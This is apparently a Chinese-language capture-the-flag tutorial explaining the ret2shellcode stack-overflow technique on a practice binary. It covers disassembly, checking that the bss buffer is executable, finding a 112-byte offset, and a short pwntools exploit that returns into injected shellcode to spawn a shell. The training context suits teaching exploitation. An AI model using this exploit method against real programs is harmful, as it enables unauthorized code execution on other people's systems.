Ret2Shellcode原理及应用

0x 01 Ret2Shellcode原理

  • shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell

  • Shellcode获取的两种方式:自己收集和pwntools自带

  • 在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。

  • 示意图

    先写入具有攻击性的汇编片段(shellcode)到栈中,然后劫持程序跳转到shellcode的入口处执行

0x 02 实例分析

main函数伪代码

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0); //setvbuf用于内存优化
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

main函数汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
0x0804852d <+0>:	push   ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: and esp,0xfffffff0
0x08048533 <+6>: add esp,0xffffff80
0x08048536 <+9>: mov eax,ds:0x804a060
0x0804853b <+14>: mov DWORD PTR [esp+0xc],0x0
0x08048543 <+22>: mov DWORD PTR [esp+0x8],0x2
0x0804854b <+30>: mov DWORD PTR [esp+0x4],0x0
0x08048553 <+38>: mov DWORD PTR [esp],eax
0x08048556 <+41>: call 0x8048410 <setvbuf@plt>
0x0804855b <+46>: mov eax,ds:0x804a040
0x08048560 <+51>: mov DWORD PTR [esp+0xc],0x0
0x08048568 <+59>: mov DWORD PTR [esp+0x8],0x1
0x08048570 <+67>: mov DWORD PTR [esp+0x4],0x0
0x08048578 <+75>: mov DWORD PTR [esp],eax
0x0804857b <+78>: call 0x8048410 <setvbuf@plt>
0x08048580 <+83>: mov DWORD PTR [esp],0x8048660
0x08048587 <+90>: call 0x80483e0 <puts@plt>
0x0804858c <+95>: lea eax,[esp+0x1c]
0x08048590 <+99>: mov DWORD PTR [esp],eax
0x08048593 <+102>: call 0x80483d0 <gets@plt>
0x08048598 <+107>: mov DWORD PTR [esp+0x8],0x64
0x080485a0 <+115>: lea eax,[esp+0x1c]
0x080485a4 <+119>: mov DWORD PTR [esp+0x4],eax
0x080485a8 <+123>: mov DWORD PTR [esp],0x804a080
0x080485af <+130>: call 0x8048420 <strncpy@plt>
0x080485b4 <+135>: mov DWORD PTR [esp],0x8048680
0x080485bb <+142>: call 0x80483c0 <printf@plt>
0x080485c0 <+147>: mov eax,0x0
0x080485c5 <+152>: leave
0x080485c6 <+153>: ret

分析strncpy函数的目录字符串地址是0x804a080,运行readelf -S xxx查看bss段位置

是一个BSS段,如果可以我们讲shellcode放到bss段中,然后将函数的返回值改为0x804a080,现在还缺少一个条件,就是bss段0x804a080是否有执行权限,我们断点调试下:

执行b main 进行断点

执行r 运行程序

执行vmmap查看是否有执行权限

image-20200120180629000

0x804a080的区间是在标红的0x0804a000到0x0804b000,有x执行权限

第二步:查找程序溢出的偏移量

重新执行gdb ./ret2shellcode命令加载程序

执行pattern create 200创建字符串

执行 r运行

输入刚才创建的字符串

https://s1.51cto.com/images/20190416/1555417473535589.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=

得到0x41384141地址,我们使用pattern offset 0x41384141来查看偏移,得到112偏移量

1
2
3
4
5
6
7
8
9
标准库函数strncpy(),可以将一字符串的一部分拷贝到另一个字符串中。

strncpy()函数有3个参数:

1.参数是目录字符串。

2.参数是源字符串;

3.参数是一个整数。代表要从源字符串拷贝到目标字符串中的字符数。

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
context(arch = 'i386', os = 'linux')
p = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,'a')+p32(0x804a080) //填充偏移量
p.sendline(payload)
p.interactive()

直接覆盖了main函数的返回地址到0x804a080执行shellcode

参考链接:

1
2
3
4
缓冲区溢出-基本ROP-ret2shellcode:
https://blog.51cto.com/11797152/2379738?source=dra
pwntools使用简介2:
https://www.cnblogs.com/liuyimin/p/7379985.html